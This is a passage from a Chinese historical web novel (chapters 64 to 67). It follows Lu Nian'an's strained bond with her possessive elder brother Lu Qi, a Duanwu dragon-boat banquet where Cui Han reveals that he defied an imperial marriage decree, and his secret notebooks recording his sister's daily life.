可平日里极爱洁的哥哥却也不会说什么,瞧见她的惶恐,反而轻抚在她的发间安慰她,继续不厌其烦教她拿笔,纠正她的笔画。 陆念安的记忆中,兄长从来都是天底下最富有耐心脾气最好的人。 可是这般耐心,好像正随着时间逐渐消磨,亦或只是因为她长大了,所以她不在得到兄长的照顾。 就像现在一样。 她分明什么也未做错,再不济也只是方才有些慌张了,哥哥却连这点慌张都包容不了,还要逼她开口说话。 他对她越来越没有耐心,和从前一点也不一样。 从回忆中抽离,陆念安忍受不了这般落差,再度开口:“我讨厌哥哥现在这样!” 她语调中已经带着抗拒,连细眉都紧紧蹙起来,正恼怒地强调。 可惜她有对清澈的眸子,念着讨厌两字时,眸中闪烁着破碎的光芒,在暗淡的黑夜中,犹如精巧华贵的宝石。 一丝威慑力也全无。 亦如多年前,她也是用这对眸子,便叫人轻易相信她那些要一直在一起的话。 只是说这话的人,转眼间却尽数忘却。 此刻长廊一侧的狭窄角落,地面上杂草丛生,当夜晚幽静的风拂过,便发出窸窸窣窣的摩擦声响。 不知怎得,陆念安忽得平静下来,没骨气地就转身要走。 陆祁握住她腕骨的力道同时加重。 他缓步往前,叹息一声,终于回应她:“阿念这般说,哥哥也会难过的。” “我……” 修长高大的身影逼近,陆念安下意识往后退,可属于哥哥步履的仍紧贴着粉绸绣花鞋往前,逐渐将她逼到退无可退的狭窄角落。 片刻后,脊背轻磕在灰砖墙上,陆念安被迫止步,一边仰头一边蹙起眉。 夜色中光线稀薄,唯一的月色也被男人高大的身躯尽数挡住。 这般近得距离,就好像眼前立了一座高山一般,压抑到叫人生出一种无法呼吸的错觉。 “我也不是故意的,”握在腕上的力道极不舒服,陆念安一边说着一边挣脱,直到压在腕上的力道消散,她才如负释重地呼出口气:“只是因为方才哥哥太…… ” 一句话未完,落在半空的手被兄长重新握住,阴冷的触感摩挲腕骨之上,令人不由得战栗。 陆念安已习惯了哥哥的温柔相待,此时是头一次,在最亲近的人身侧感受到了恐惧。 或许是因为黑暗和未知,陆念安只觉自己连猫都不如,稍寻到机会便将手收回,她双手背在身后,警惕地看着眼前人。 而陆祈正垂眸凝视着她,察觉到她的抗拒以后,他眼底情绪越发深沉,淡声质问:“阿念,哥哥不是酒,怎能任由阿念说不喜欢就不喜欢呢?” “可阿念也,也只是在说气话……”靠着墙而立的陆念安磕绊着开口,未想过兄长会因为几句话又计较起来。 明明她从前也时常这般的,哥哥也从不会计较。 越想越气,陆念安一时抽泣,几乎用了所有力气将眼前人推开。 落荒而逃地回到了北院,关上门,陆念安踢开绣花鞋,一边迫不及待地爬上榻,将自己藏起来。 直到呼吸平稳,她压抑着哭声,还是不明白自己做错了什么。 陆念安在哥哥身上,感受到了一种陌生。 分明是日日夜夜都在接触的人,可忽然间就换了一个模样,连眼泪都没了用处……她当然也会害怕了。 她已经许久未这般委屈过了,委屈到双手捂住眸子,胡乱了擦了擦眼泪,便又忍不住地继续哭起来。 不知哭了多久,片刻后竟有些呼吸不畅,陆念安猛得咳嗽了几声,倒在榻上的模样狼狈极了。 她拍了拍胸口,没等人缓过来,脑中忽得闪过零零散散的画面—— 也是在这般榻上,可江岸上风大,从对岸吹拂而来的风拍打在窗边,一阵一阵的,伴随着她咳嗽的声音落在室内,显得吵闹极了。 很快,一只强有力的大手拍了拍她的脊背以示安抚。 却也只是短暂的安抚。陆念安才发觉自己的腰也被人紧紧锢着,她刚能呼吸,那大手便握着她的腰将她往上送。 有温热的呼吸喷洒在颈侧,最后是唇……她被吻得再次透不过气,可那大手紧紧掐在她的后腰处,令她如何也挣脱不开。 就像哥哥一样。 几乎是无意识的,陆念安冒出这个想法。 可,可那只是梦…… 可若只是梦,为何还未忘却,反而愈渐清晰? 陆念安完全不敢细想,都有些怀疑自己是不是生病了。 纠结片刻,在怀疑与矛盾间,她还是掀开锦被坐起身。 素指解开衣衫,她缓缓将那轻薄的春锦褪去,烛灯下,白皙娇嫩的肌肤裸露,放眼望去散着莹润的光泽。 后腰……褪去衣衫后,陆念安用手指按在记忆中的位置上,果然感受到了疼痛,便费劲地别过头想要去看。 方才垂下眸子,什么痕迹也未瞧见。 她便又往后看,几乎就要瞧清楚时,一侧的门却在这时被拉开。 脚步声渐进,陆念安吓了一跳,有些心虚有些害怕地将自己缩回锦被中,只露出一张涨红的小脸。 “小姐?”秋菊捧着瓷碗止步,见状,只得不解地看着她:“小姐,该喝药了。” “好……”陆念安缓缓支起身,靠在榻上,只乖乖将秋菊递来的药饮掉,这一次,她甚至连苦也未喊一声。 秋菊察觉出她的反常,盯着她看了好一会儿,却也说不上来是哪里不对劲。 只得悻悻然收回目光,怕以为是她倦了,秋菊贴心地将烛灯垂眸,道:“小姐若是困极了,便先歇息会儿也好。” 眼前很快陷入一片黑暗,秋菊离开后,又将门窗都合上后,于是室内,连月光都极为浅淡。 好黑啊。 陆念安翻了个身,手背贴着脸颊,她此刻再没心思多想了,很快就沉沉睡过去。 这一躺便躺到翌日的日上三更,等再睁开眼时,屋内没了秋菊的身影,只余下一片金灿灿的日光。 陆念安未起身,昨夜的记忆仍旧混乱,只一睁眼便叫人去想。 她只好晕晕乎乎地逃避着,紧紧闭上双眼。 “都要午时啦小姐,”过了会儿后,秋菊进屋,一边催促道:“小姐这几日可是都未练琴呢,今日便也不去吗?” 教导陆念安琴艺的徐老师,好些日子前便回了岭南,于是练琴一事,便再无人督促了。 陆念安本就混乱,自是不想去的,躺了会儿后,还是愧疚地起身:“徐老师前日里才寄了琴谱回来,那……那还是练一会儿罢。” * 入夏以后,园中的一池荷花齐齐舒展开,大簇大簇的花堆叠在一起,像是诗人笔下的美景。 置身在这般美景中,陆念安练琴时也多了几分耐心,乖乖在园子里呆了一个下午。 就好像给自己找了些事情做以后,便不会再胡思乱想了一样。 指尖拂过琴弦,等从琴声中抽离出来时,已是日落黄昏的时刻。 陆念安许久未练习了,对谱子日渐生疏,本想着再练一会儿,顿了顿,像是想起来什么,便开口:“哥哥是要回来了吗?” 陆念安的记忆中,兄长总是在黄昏以后的夜里回府。 “小姐可是盼着公子回来?”秋菊误解了她的意思,当即又道:“公子确是要回府了,小姐再练会琴,大抵就能同公子遇上。” “不是……”陆念安也不知如何解释,好半响后,瓮声瓮气地抱怨一声:“哥哥好凶,阿念不想同他说话。” 眼瞅着天快要暗下,陆念安几乎是一刻也不想呆了,连琴也未管,便一个人先跑走。 “小姐?”秋菊忙追了上去,心下既是疑惑也是担忧。 …… 接下来一连好几日,陆念安不论去哪儿,都会赶在黄昏以前回北院,再将门牢牢关上,便一个人闷在屋中看话本。 对于她的反常,秋菊才意识到她是真的闹脾气了。 再次以前,陆念安也不是没闹过小性子。 秋菊原先还没当一回事,直到一连七日,陆念安都像是老鼠躲着猫一般小心翼翼,她才终于意识到这一次好像有些不一般。 小姐这一次的气劲,竟比以往加起来都久呢。 久到秋菊都有些焦急了,毕竟过两日便是端午,一家人总归是要团聚于一起的。 若还像这些日子这般,陆夫人怕是也要细问。 当夜的晚上,秋菊便试探着问道:“小姐可是同公子在闹小脾气?” 陆念安正靠在榻上看话本,方才看到好笑的地方,眉眼弯弯开心极了。 只是下一瞬,听见秋菊的声音以后,她立刻皱起一张脸。 陆念安是娇气的小姑娘,仍还是那句话:“哥哥变得好凶,阿念以后都不想同哥哥说话了。” 第65章 第六十五章 初五这一天,陆府的丫鬟都不约而同地忙碌起来。 过节自然与寻常日子不同,一大早,几个丫头挎着竹篮,篮中分别盛着新鲜的艾草和菖蒲。 她们要在天亮以前,用红线将艾草同菖蒲捆成一束,再悬挂于门前,以求避邪毒,驱邪祟。 天还未亮,陆念安也打着哈欠起身。 她是极喜欢这些节日的,北院门前用来驱邪祟的艾蒲,一向是由她自己亲手挂上去,今年当然也不例外。 当秋菊捧着一匣子彩丝回来时,陆念安已将艾挂好,晨日雾气重,艾叶隐匿在水雾之中,散出独特的草木香气。 秋菊将手中匣子放下,转头见她百般聊赖地坐在一旁,有些诧异:“小姐今日真未去西院吗?” 《月令》中写五月是毒月,而艾蒲清香,可入药,有解毒之称。 正因着如此,大晋才有在五月悬挂艾叶和菖蒲的习俗。 陆念安对此深信不疑。 往年的五月,她都会亲手捆好两束艾蒲,一束放在北院,一束拿去西院。 “真不去了?”见她不说话,秋菊目光落在角落里的一大束艾蒲之上,佯装遗憾:“那这束多余出来的艾蒲 ,小姐捆都捆好了却未用,真是可惜啊。” “秋菊!”被直接戳破心事,陆念安凶巴巴开口:“这又不是给哥哥的。” “是是是,”见她恼怒,秋菊忍下笑意:“那小姐是要赠于谁?” “我……” 陆念安一时无言,只低低垂下眸子。 再大的气劲也被时间磨灭掉,现在想来,这几日未见哥哥,她其实也很不习惯。 哥哥教了她太多太多,从开口说话到书写“陆念安”三字,生活中太多的小事,连端午要悬挂艾蒲,戴彩绳……也是哥哥教她的。 陆念安是真正意义上被哥哥养大的孩子。 越回忆越心酸,陆念安不太自然地玩弄起手指,当下已经有些犹豫了。 见状,秋菊体贴地递给她台阶:“往年都是小姐替西院准备艾蒲,小姐今年若是不去,怕是也无人给西院备至了。” 陆念安哼唧了声,最后还是走到角落将那束艾蒲捧起来,她抬手摸了摸那艾草,不忘夸赞自己:“那……我都生气了还想着哥哥,我可真是乖巧啊。” 秋菊彻底松口了气。 作为陆府的丫鬟,她当然不想瞧见两位主子不和,又怂恿着:“那小姐,趁着雾气还未散开,将这艾蒲拿去寻公子尚还来得及。” 秋菊本意是想让兄妹两早些和好,话音刚落,本该在千山宛的陈嬷嬷,却在这时踏过门槛走进北院。 天还未亮,北院内一片平和,一侧的海棠树在夏季,绿叶盎然。陆念安捧着艾蒲蹲在树下,陈嬷嬷进屋后,先上前扶起她:“小姐怎蹲在此处? ” “我……”陆念安没反应过来,摸了摸脑袋,迷茫道:“是母亲再找阿念吗?” “小姐还未用膳吧,”陈嬷嬷一脸慈爱地开口:“是柳夫人方才送了她亲手制得角黍来,陆夫人便念着小姐呢,小姐过去尝尝?” 今日日子特殊,陆念安本就该去千山宛拜访陆夫人的。 此刻犹犹豫豫地放下手中艾蒲,虽是遗憾,但她还是跟着嬷嬷先去了一趟千山宛。 却未想到这一去,送艾蒲一事便是彻底被耽搁了。 今日有柳家置办宴席。 柳家几人方才来上京,人生地不熟,便想着在端午这日,邀上几户人家去看看龙舟,也正巧结交些朋友。 陆夫人同柳乐敏多年挚友,也是她在上京唯一相熟的人,得知此番宴席后,定是要前去替好友撑撑场子的。 于是乎,陆念安才刚走进千山宛,便又被陆夫人拉着出了府。 雾气已经散开,从远方传来艾草的清香,陆念安坐在还未平稳的马车内,抬手掀开帷幔回头看。 这时身旁传来一道声音:“念念,你柳姨昨日还递信说想你了。” “我也很喜欢柳姨的,”陆念安本还想着艾蒲的事,思绪被打搅后,她不得不开口:“我们今日是要去找柳姨玩吗?” 瞧出她还装着心事,陆夫人乐呵呵笑了声,安抚道:“是去找你柳姨,但也不完全是,总归再等一会儿念念就知道了,不过我这个老夫人同念念保证,定是顶好的事儿,念念你肯定会开心的。” 话落,陆夫人笑意更甚,眉眼慈和地看着她。 陆念安已许久未见过母亲这般喜色了,愣愣点头:“好吧。” * 龙舟宴就在江边的一处园林内,园林紧靠着曲江,只需垂眸,便能将江边的盛况收入眼底。 陆家的马车缓缓停下时,林中已来了不少人。 还要多亏了陆夫人的照佛,宴上来了许多熟面孔,皆是些朝中大臣的夫人,柳乐敏笑脸相迎着,在努力适应这个新圈子。 下了马车,陆夫人免不得也要上前寒暄一番。 虽多年未露面,但陆夫人的身份摆在此处,一时间,连带着众人对柳乐敏都客气了许多。 一行人进了亭子落座。亭中雅致,桌案上放着壶白茶,两碟子角黍,都散发着淡淡清香。 陆念安有些好奇地看了眼那角黍,却也未说什么,只乖乖跟在身后。 她仍旧不太适应这般场合,每每在人多的场合,都下意识垂下眸,生怕被旁人注意到。 这法子在前些年尚还好用,可自及笄以后,小姑娘如雨后春花一般,褪去一身稚嫩,现如今是越发动人了。 今日来得急,只着最普通的素衣,乌发间一根玉簪,可在一片姹紫嫣红中,仍叫人一打眼便瞧见她。 寒暄片刻,几位夫人也是频频朝她看去,直到其中一位林夫人惊讶道:“念安都这般大了?” 有了这话开头,方才那几位夫人也终于找到机会开口,感叹道:“这是念安?养得可真是好……” 一个人的周身气度,往往同家族的底蕴脱不了干系。 陆夫人面上多了几分骄傲,谦虚道:“念安是被哥哥带大的,若是真论起来,我其实还未出什么力呢。” “祁儿还帮你带小姑娘?”那位夫人的语调从感叹转为羡慕:“有这般省心的孩子,陆夫人你可真是有福气。” 陆夫人已习惯处处被人捧着,叹气一声:“哪里省心了,过几年都要而立的人,到现在却都还未成家,你说说这像什么话?” 众人笑了两声,无人敢接。 人皆知陆祈正得圣宠,捧着的话都乐意说,但这般埋怨,除了当父母的敢说,自是无人敢附和的。 场面一时沉默起来,一旁的柳乐敏见状,主动开口打破僵局:“诶陆娘,我方才听人说,祈儿不是同崔家那位相看过,后来怎么未成?” 柳乐敏本是想活跃些气氛,未曾料这话一出,气氛更沉默了。 陆夫人摇摇头,到底是没有佛好友的面子,解释道:“还不是祈儿,这般好的姑娘也未抓住,当母亲便只能干着急了。” 这话其实说得随意,众人只当陆夫人是不欲多说,有些失望。 有同崔家相熟的人便回忆:“崔氏的确是个知礼数的,前两年嫁去了沈家了,不过两年,就将沈家治理的井井有条。” 柳乐敏一听,立刻摇摇头:“那的确是可惜了。” 至于未何没成,无人不好奇此事。 两年前,本是皇上亲自赐下的婚事,又亲自在花灯节那日宣读了圣旨。 皇上赐婚不是头一次了,但让皇上这般上心的,却是头一人。 就当众人以为陆家好事将近时,陆祈却在领下圣旨的第三日,去了塞北。 这一去便不知要多久,于是那婚事也被耽搁,没几月,崔氏便另嫁他人,从此同陆家再无关联。 当时大大小小的传闻其实不少,有知道内幕之人,传出是陆祈惹怒皇上,所以龙颜大怒,才将他被发配去了塞北。 要知道塞北那个地方,条件形势皆严峻,这些年去过的人,皆是有去无回的。 两年以后后今天一看,谣言不攻自破。 但关于其中内幕,便是更让人不知的。 见众人谈起于此,陆念安搭在茶盏上的素指有些僵硬。 那场被刻意遗忘的宫宴,她总是不敢回忆,久而久之,便连她都要忘了自己曾经的幼稚。 她总是会无限愧疚。 一时无措起来,陆念安紧握着手中茶盏,更愧疚自己长大以后,却仍同兄长闹脾气。 明明都已经长大了才对。 想到这里,她不太自然地抿了口茶。 这副模样被陆夫人瞧见,以为她是又怕生了。 亭中都是些长辈,这般场合,小辈们通常都另在一处。 陆夫人是不放心陆念安一人去玩,才一直将她带在身旁。 忧愁之际,柳乐敏冲陆夫人使了眼色,轻声开口:“瞧瞧,可是来了?” 几艘龙舟划过江水,江岸上一时热闹极了,一抹青灰色身影这时从嘈杂中走出。 他脊背挺直,身形清瘦,带着几分独属于书生的温润,就如身后高挺的竹一般。 是长辈都会喜欢的模样。 柳乐敏见了人,顿时服输,该用手肘碰了碰陆夫人,示意她快说话。 “你急什么?” 陆夫人先是清咳一声,再替陆念安整理起衣裙来,提醒道:“念念,周家那小子来了。” 还在想方才那事的陆念安抬起眸子:“嗯?” “难得遇上个相熟的,念念便过去玩会儿。”陆夫人一幅什么都懂得模样,眉目间充满慈爱。 “我……”陆念安想起那夜偷听到的话,一时明了母亲的用意,连耳根都红透了,无措道:“我没有。” “母亲又没说你有什么,”陆夫人觉得好笑:“念念脸红什么?” 感受到或多或少的目光落在身侧,陆念安更加无措,她只得抬步朝周越走去——至少也比呆在此处好。 竹林中寂静,周越立在高挺的青竹间,显得有些孤寂。 其实同柳家人一样,周越在上京,也未同哪家相熟。 好在他很快瞧见了陆念安,眉目间便柔和了下来,唤她:“陆姑娘。” 被这笑意感染到,陆念安神情微怔,开口解释来意:“母亲身旁好多人,我有些不习惯。” “好巧,”周越便明白她的用意:“今日林中之人,周某也尽数不识。” “看来都一样呢。”话音刚落,陆念安又感受到几道灼灼的目光落下,便用余光朝后看,就见那亭中,好些个夫人都在朝这个方向望。 她一时无言,只显得更局促了,连双手都不敢放下:“……” 周越叹气一声:“或许陆姑娘想去看看龙舟?” * 竞龙舟一直是初五这一日,最受人喜爱的风俗。 曲江边已经围了不少人,从林间往下看,龙舟上整齐地坐了两排人,正挥舞着桨划过江水,拨开一层又一层的涟漪。 可能是因为有竞字在其中,大家伙都生出几分紧张。 陆念安也觉得紧张,她看好的龙舟正稍稍落后,若是还追不上去,便是要输……啊,怎么就已经输了呢? 懊恼地叹息一声,陆念安蹙着眉,尤为真情实意地气愤起来。 周越忍着笑意安抚她:“陆姑娘不急,这竞龙舟还有下一轮呢。” 陆念安呼出口气,心间地紧张也消散了些:“下一轮我会好好挑的。” 夏日,天气已渐渐热了,此处却实在是个好位置,身后几棵古树,绿荫落下的影泛着凉,足以将这个小范围都笼罩住。 不光是被他们发现了这处好地方,很快,另有两个人影走来。 一人夸赞道:“月儿,这处地方不错。” “娘亲!”被唤为月儿的还是个小姑娘,高兴地摇晃起来:“我就说娘亲跟着月儿不会出错吧,而且此处还很静谧,欣赏龙舟最是好了。” “是是是,”崔涵语调温和,轻哄着她:“我们月儿最棒了。” 一边说着,崔涵领着她抬步往前走,绕过几棵盘踞在此的古树,从对岸吹来的风拂过,碎发迷乱眼睛,崔涵抬手拨开,眼前终于变得开阔。 却直直一愣。 …… 树影婆娑,发出细微声响,陆念安闻声转头。 身后是一览无遗的曲江,她一身素衣,站在被风吹散的影中,身姿被勾勒的越发单薄。 小姑娘显然藏不住事,见到崔涵的瞬间,恍恍惚惚想起什么,一时也愣住。 崔涵却已经回神,多看了眼一旁的青衫书生,她才收回目光开口:“念安还记得姐姐吗?” “姐姐。”陆念安很乖巧地点头,心下却有些不适。 这不适同两年前相似,很浅淡,浅淡到令她察觉不出缘由。 崔涵轻笑一声,下意识摸了摸肚子,张望道:“陆大人今日可是未来?” 陆念安摇头,当下被这动作所吸引,抬眸看去,见崔涵一手牵着个孩子,而小腹隆起。 崔涵只是不在意地笑了笑,抚在小腹上的手越发轻柔了:“我的儿子。” 她又指了指一旁的小女孩:“我的女儿。” 小女孩看着至少也是三四岁的模样,而崔涵嫁去沈家却不过两年。 “她母亲前些年称病去世了,”说这话时,崔涵一直盯着陆念安那对澄澈的眸子,有些发痴:“眼睛真好看,便是用这双眸子哭一哭,便叫陆大人何事都依着你?” 崔涵的状态显然已经有些不对劲了,说出来的话,也令陆念安不太明白。 “本都订下婚事了,接下圣旨后却又抗旨不遵,你知道你随意一句话,让你兄长有多难办吗?” 从天堂下坠到地狱也不过如此。 直到两年以后的今日,崔涵仍旧不能释怀,牵住月儿不断收紧。 那夜被唤去殿中时,已是深夜,她怀着满腔喜悦去见心上人,可心上人宁可抗旨,竟也不愿娶她? 一切忽得就变得了。 分明在山寺中时,他对她还是相敬如宾的,虽是冷淡了些,却也对她说了一声“适合”。 适合就够了,崔涵并不贪心,只要嫁去陆家,她做什么都可以。 她又是何处做得不对了?为何宁愿抗旨也不娶她? 抗旨不遵,从来都是砍头的罪名,陆祈不可能不知。 可当圣上大发雷霆撕毁圣旨后,陆祈仍旧没有反应,静静地跪在一侧,寡淡难辨。 圣上自是被气得不清,将卷轴往他身侧一扔,当即就罚他在这儿跪一夜。 卷轴打在脊背之上,他仍旧一动不动,一丝反应也没有,这般冷漠至极的态度,站在一旁的崔涵便更加心寒。 烛灯很快被宫女熄灭,偌大的宫殿之中,一切变得寂静,只余下白衣男人静跪在碧玉双面扇屏前,背影孤寂,却是一动也未动。 天子命令,不可不遵。 崔涵只觉得脸颊火辣辣的疼,伪装了十多年的温柔一瞬破裂,她抬步上,忍不住质问了一声。 有些人的气势是浑然天成的,既是这般,她只敢质问一声。 仅仅只是一声。 她只是想知道为什么,可连这个回答,崔涵也等了许久,久到窗外月色流转,皎白的月光透过殿门落进屋内。 稀薄月光下,那人语调冷漠:“崔姑娘无错,圣上会另择一桩婚事于崔姑娘的。” …… 崔涵想不明白,除了他那位幼稚的妹妹,崔涵便再想不出任何理由了。 “娘亲,好疼!” 月儿忍了许久许久,可娘亲的力道越来越重,揪得她手腕要断裂一般。 “对不起月儿,娘亲不是故意的。”崔涵回神,卸下力道,安抚了月儿两声。 陆念安眨眨眼,还未彻底理解那两句话,她不由得开口追问:“姐姐是何意思?” “若不是抗旨,陆大人会被流放去塞北两年?”崔涵忍了两年未说,当下终于有了一丝快意,继续道:“我与陆公子本是良配,若不是因你不喜我,陆公子何至于抗旨受罚?” 被刻意压下的记忆,如雨后春笋,在此刻齐齐溢出…… 陆念安觉得有些混乱,一时踉跄了瞬,单薄的肩膀轻颤起来,仿佛连阵风都能将她吹倒。 周越皱起眉,担忧地将人扶住,目光跟着落在崔涵身侧,疏冷道:“崔姑娘这胎怕是已五月有余了,怎么怀着孩子,身边也没一个丫鬟服侍的。” …… 龙舟已竞到第三轮,只需垂下眸子,整个曲江都尽收眼底。 陆念安已没了心情,她缓缓蹲下身,有些懊恼地捂住头。 小姑娘眼眸已红得不成样,有泪滴啪嗒啪嗒往下落,她呜咽一声,可怜道:“方才母亲同几位夫人,都觉得崔姐姐很好。” 周越没说什么,半蹲下身来陪她。 陆念安从来都不是情绪稳定的姑娘,她是要人哄着的,此刻已经哭得一抽一抽,接着道:“哥哥一直未成家,母亲很担忧。” “阿念不知哥哥是被罚去了塞北的……” 那夜从宫中回到陆府,陆念安连着昏迷了两日。 她实在是太难过了,那些酸涩一瞬间就将她淹没,而让陆念安更委屈的,是兄长的不告而别。 他怎么能抛下她呢? ……霎那间被带入痛苦的回忆中,陆念安双眸呆愣,眼下红肿起来。 这时,周越将握在手中,已经皱巴的绸帕一点一点展开抚平,又生疏地用绸帕抚在她眼下,替她擦掉眼泪。 他尝试着唤她小字:“阿念,别哭了。” 从方才只言片语中,周越已经隐约猜出了什么,安慰她:“做选择的人始终是陆祈,同陆姑娘无关。” “可阿念的确很过分,”陆念安认真想了想,犹豫着开口道:“我……” 第66章 第六十六章 “我……” 陆念安蹙起眉,不得不承认: “我好像有些拖累哥哥。” 陆念安原以为自己已经懂事了。 她写过信,认真反思过自己,也知自己错在何处。 仍记得当初写信时的纠结和矛盾。 那封寄去塞北的信,是她在书桌前缓了一个时辰,才彻底下定决心动笔。 好在认错并不难。 无外乎就是不该放花灯、不该莽撞,不该将对亲人的依赖误解为喜欢…… 她那时的确太依赖兄长。 她会改掉的。 陆念安原以为改掉就好,就像放花灯的那一日,她也想得简单,带着不知后果的莽撞。 习惯了兄长替她收拾残局,所以她根本不用去想后果。 却忘了陆祈也并非是无所不能的……原来哥哥也会受罚啊。 是她毁了兄长的一桩婚事,愧疚间,陆念安忽然意识到,看来改掉依赖也不够。 她真的该成长了,她这个年龄,早已不能够躲在兄长身后。 有些想明白了,陆念安接过周越手中的绸帕,瓮声道:“谢谢周公子。” 话落,她抬手给自己擦眼泪,绸帕抚过泛红湿濡的眸子,抚过脸颊,最后被陆念安篡在手心中。 周越仍担忧地看着她:“陆姑娘可是还难受?” 从小置身的环境不同,令周越不能共情陆念安当下的内疚与反思。 纯善到软弱的性子,若是像她这般,他连一个冬天也活不过。 可这并不妨碍周越觉得她的眼泪碍眼,追问道:“陆姑娘在纠结什么?” “就是,”陆念安吸吸鼻子,秀气的鼻尖红红的:“阿念就是想懂事一些了。” “可陆姑娘觉得,何为懂事?” 嗯……其实很难形容。 陆念安就是觉得,她这一次应该下定决心做些什么才好。 陆念安早已经到了婚配的年龄,却迟迟未定下婚事。 同辈的姑娘家都已出嫁,就连姐姐也婚事将近,她的生活却没有一点改变,习惯性依赖,习惯性娇气,再这样下去,陆念安害怕自己会同以前一样依赖兄长。 她低垂下眸子,在周越温柔地凝视中,唇瓣微张:“或许我不应该让哥哥担心了,就像子诺姐姐和二哥哥一样,长大以后,本就是要分开的。” “这样啊。”周越看懂她的纠结矛盾,忽然觉得小姑娘内疚些也没什么不好。 他轻轻笑起来,开口道:“父亲前日同我提及了婚事一事,告诉我皇上有意赐下婚事。” 周越被周家领回以后,邻里间都有些羡慕,既羡慕丢失多年的孩子能被找回,更羡慕他不凭周家便考到了一甲。 周家人当然也欢喜,又想到成家立业相连,周越往后是要入官场的,现如今年龄也适宜,也该定桩婚事,便求去了皇上那儿。 却是出乎意料,皇上竟本来就有这个意思,甚至哪家姑娘都给挑好了。 周越会没想过这般巧,但婚事为两人所愿:“陆姑娘,在下不知你的意愿,未曾应下。” * 《月令》中确有记载避毒一事,久而久之,在初五这日挂上艾草与菖蒲,便已是人人皆知的习惯。 陆夫人也向来敬重这些,所以一清早,几个小丫头便将陆府里大大小小的院门都挂上了艾蒲。 只西院内却找不出一丝艾香。 挂艾蒲的小丫头路过时便多看了眼,抬眸就见那红漆木门前空荡,一时止步。 她手中还挎着那装艾蒲的竹篮,看了会儿后,犹豫又纠结地开口:“文香姐姐,这扇门前不挂艾蒲吗?还是公子有何忌讳,不喜这味道?” 说这话的小丫头,是年前由陈嬷嬷领回来的,十多岁的年纪,还很青涩。为此,嬷嬷特意安排了个年长的文香带她。 文香只扫了眼那漆木门,就赶忙拉着她往前走:“公子的确不喜这些,这些年都由小姐替他置办,我们不必管的。” “这样呀,那小姐怎还未……” 两个小丫头逐渐走远,只剩下一门之隔的青竹颤了颤,慢慢拉开了门。 陆祁很快抬步踏过门槛,身影沐在清晨的雾中,像是一道冷清的影。 今日还要去宫中,青竹正思索接下来是何安排时,忽得看见眼前那道影止步了。 几个小厮昨夜清扫过院前,此刻周围连一片落叶都寻不出,石阶被擦拭的锃亮,屋檐也被人清扫过,一切都是规整的。 这规整却在此刻稍显“空荡”。 视线落在檐下,只余下一盏黯淡的灯被风吹得轻晃起来。 陆祁看了片刻,淡声道:“今日是初五?” 青竹显然也注意到那处的空荡,硬着头皮回答:“回大人,是的。” 陆祈从不信鬼神,亦不相信世间还有邪祟一物,这般节日落在他眼中,只余下吵闹二字。 陆念安却是深信不疑的,这么些年来,每逢五月初五,她都要亲手缠艾蒲,美名其曰诚心。 她还会将这诚心分给陆祈一份,西院前的艾蒲一直也都是由她准备的。 沉默片刻,陆祈收回目光,“脾性真是越发大了。” * 到了宫中时,晨雾已尽数散开,陆祈先去了一趟大理寺。 今日宫宴,他却直奔大理寺…… 徐少卿听闻,慌忙从宴席上赶来 ,深怕他是有要事,更害怕是大理寺有何疏漏了,一时间忐忑起来。 陆祈现如今可是皇上身边的红人,游船遇刺一事,皇上也是全交由他处理,大理寺协助。 越想越惶恐,徐少卿很快赶到藏经阁内。 大理寺成立已数百年有余,藏经阁的高架上,从左到右整理好的卷宗,可追究到百年以前。 陆祈站在高架的一侧,眼前是无数卷轴堆叠在上空,他静静看着。 赶来的徐少卿见状,道:“陆兄是有了新线索?” “皇上遇刺一事已接近尾声,余下的我不在插手。” 陆祈此番前来,还是为了另一桩事。 “那陆兄是在找什么,可要唤几个书童前来一起……” 藏经阁中的卷宗太多太多,大大小小的案子堆积在一起,能被整理归档的只是少数。 徐少卿还记得前段时间,有一卷五年前的悬案有了些许线索,当时光是翻找卷宗,便花费了几个书童一整日的时间。 “只是随意看看,不必。”陆祈平静婉拒了他的好意。 而大理寺共有这样的藏经阁三个,陆祈离开后,又去了另外两处经阁。 已到了午后,藏经阁内充斥着暖光,将书架镀上一层金色光辉。静立于书架前的男人,此刻却沐在阴影间,身侧被染上几丝孤寂。 陆祈看了许久,他像是在寻些什么,却又未细细翻找。 这下连青竹都看不懂他的用意了。 此时已在藏经阁呆了一上午,时候已然不早,青竹走上前提醒:“大人,今日还要去宴中,皇上怕已是再等你了。” 皇上喜热闹,每逢节日,都要特举宴席。 闻言,陆祈收回目光离开。 马车已在大理寺外候了许久,从此处到御花园,约莫一刻钟的距离。 却没等陆祈上马,从一侧跑来个人影,躬下腰便激动地唤道:“陆大人。” 好不容易来宫里一趟,便撞大运遇见陆祈,张生实在有些激动:“末官是两年前刚被调来上京的,陆大人可还记得末官?” 马车前,陆祈听声回眸,侧脸轮廓稍显冷淡,却没有回答,只是问:“何事?” 张生面色真诚,感激道:“末官此番上前,是来同陆大人道谢的。” 两年前,张生被提拔来上京做狱司长。 听闻上一任狱司长是被发配去了吐蕃后,张生可谓是提心吊胆了许久。 这个烫手山芋,他接也不是,扔却又扔不掉。 “末官迷茫了好一阵,不知所措,直到偶然间遇上了陆大人您。” “您当时所教导,末官此生难忘。” 那时张生主动上前取经,陆祈其实也只说了两句话。 他抱着半信半疑地态度,一晃眼,安然无事地在刑狱司中呆了两年,所以才一直想要感谢陆祈。 “嗯。”陆祈应了声,淡然回答他:“刑狱中按律法行事,总不会出错。” 他是一贯的寡淡,道完这句便上了马车,一刻也没有多留。 此时的御花园内已经很是热闹了。 皇上亲临,众臣子同皇子已经落座,高台之上,从西域重新引来的舞姬着露脐上衣,腰间系着金铃铛,一举一动,都奢靡极了。 片刻后,传杯送盏,觥筹交错里,有人瞧见陆祈从一侧走来。 不知是谁喝醉了,笑着高喊一声:“陆兄来了,该接旨了!” 第67章 第六十七章 日落散下的余晖沐在整洁的乌木高柜上,唯一的素色花瓶色淡而雅致,西院内没有过多的装束,只映照出几分空荡的孤寂。 片刻,余晖中逐渐多出一道修长的影。 刚从宫中回府,陆祈走到高柜前止步。 此刻背对着光,他面无表情地平视着前方,侧脸轮廊冷硬。 高柜最上方放着一个箱子,奢华的为整块紫檀木所制。 陆祈双手将它取下,再放于桌案上,冷静地打开。 箱中多是一些小册子,没有名字,只在最左侧的位置编排了数字。 被小心私藏着的木箱内,好像也没有什么特别,陆祈看了许久后,随意抽出来一册。 【七/一】 “小姐午睡到未时,秋菊盯着她用饮完了一碗药,没有倒掉。” 【七/十二】 “今日用完药后,小姐吵着还要冰碗,秋菊只匀了一半给她,小姐有些生气,说以后还要将药倒掉。” 【七/一百三十】 “小姐走路太急,摔倒了膝处,一共两处伤口,还有一处在手掌。” …… 